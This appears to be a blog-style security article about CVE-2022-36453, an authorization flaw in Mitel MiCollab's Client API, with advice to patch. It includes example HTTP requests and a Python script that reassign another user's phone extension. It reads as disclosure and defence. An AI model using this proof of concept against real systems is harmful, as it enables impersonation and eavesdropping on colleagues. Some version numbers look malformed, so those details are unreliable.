Mitel’s MiCollab is a widely used collaboration platform, powering businesses with voice, messaging, and conference tools. If you’re running MiCollab versions from 9.1.3 up to 9.5..101, there’s an important security bug you should know about: CVE-2022-36453. This vulnerability isn’t about hackers breaking in from the outside, but about someone already logged in being able to do things they absolutely shouldn’t—like controlling someone else’s extension.
In this article, I’ll explain how this vulnerability works, show a code snippet demonstrating the issue, and point you to official references and more details.
What’s the Issue: Insufficient Authorization Checks
Within the MiCollab Client API, authenticated users can make calls to manage their profile data—things like call forwarding numbers, personal details, and extension numbers. The problem in these affected versions: the server isn’t properly checking if a user is allowed to modify certain fields. Even worse, with a little know-how, you could change not only your own settings, but someone else’s.
Affected Versions: 9.1.3 through 9.5..101
- CVE: CVE-2022-36453
- CWE: Improper Authorization (CWE-285)
Why Is This Dangerous?
Any authenticated user—like a regular employee—could send special API requests to the server, telling it to assign an extension they shouldn’t own to their account. Suddenly, they can receive calls for someone else, listen in on voicemails, or impersonate the other extension in internal communications.
This bug doesn’t allow outsiders to break in, but it’s still a serious risk for internal abuse and social engineering attacks.
How Does the Exploit Work? (With Example)
Let’s walk through a simplified scenario using a tool like cURL (you can also do this in Python, Postman, etc.).
Normally, a user would send something like this
POST /api/v1/client/profile
Host: micollab.company.com
Authorization: Bearer <your-valid-access-token>
Content-Type: application/json
{
"displayName": "John Doe",
"extension": "1001"
}
But in MiCollab 9.1.3–9.5..101, you can target another user’s extension field. For example
POST /api/v1/client/profile
Host: micollab.company.com
Authorization: Bearer <your-valid-access-token>
Content-Type: application/json
{
"displayName": "Hacker Dude",
"extension": "2002" // 2002 belongs to someone else!
}
If you POST this, the server does not check that you're only allowed to use your assigned extension. It just re-assigns extension 2002 to your account—or at least lets you manage it—resulting in an unauthorized privilege escalation.
Here’s how it might look in Python using requests
import requests
url = "https://micollab.company.com/api/v1/client/profile";
token = "your_valid_bearer_token"
data = {
"displayName": "Evil Insider",
"extension": "3003" # Target victim's extension
}
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
r = requests.post(url, json=data, headers=headers)
print(r.status_code, r.text)
Official Advisory:
Mitel Security Bulletin 22-0014-001
CVE Details:
Mitre Database:
How to Fix
The issue was patched in Mitel MiCollab 9.5..104 and later. If you are running an affected version, update immediately. Do not trust internal users to “play nice”—abuse often comes from within.
Workarounds:
Summary
CVE-2022-36453 is a classic case of forgetting to check: “Is this user allowed to do this?” With the MiCollab Client API, any authenticated employee could take control of another user’s extension—leading to impersonation, eavesdropping, or social engineering attacks.
If you use MiCollab, patch now and check your logs. Internal privilege escalation bugs like this are too easy for an insider to exploit.
Stay up to date:
- Mitel Security Advisories
- Subscribe to NVD updates on CVE-2022-36453
*Did you find this article exclusive? Feel free to share it with your IT team or network security admins!*
Timeline
Published on: 10/25/2022 18:15:00 UTC
Last modified on: 10/28/2022 19:21:00 UTC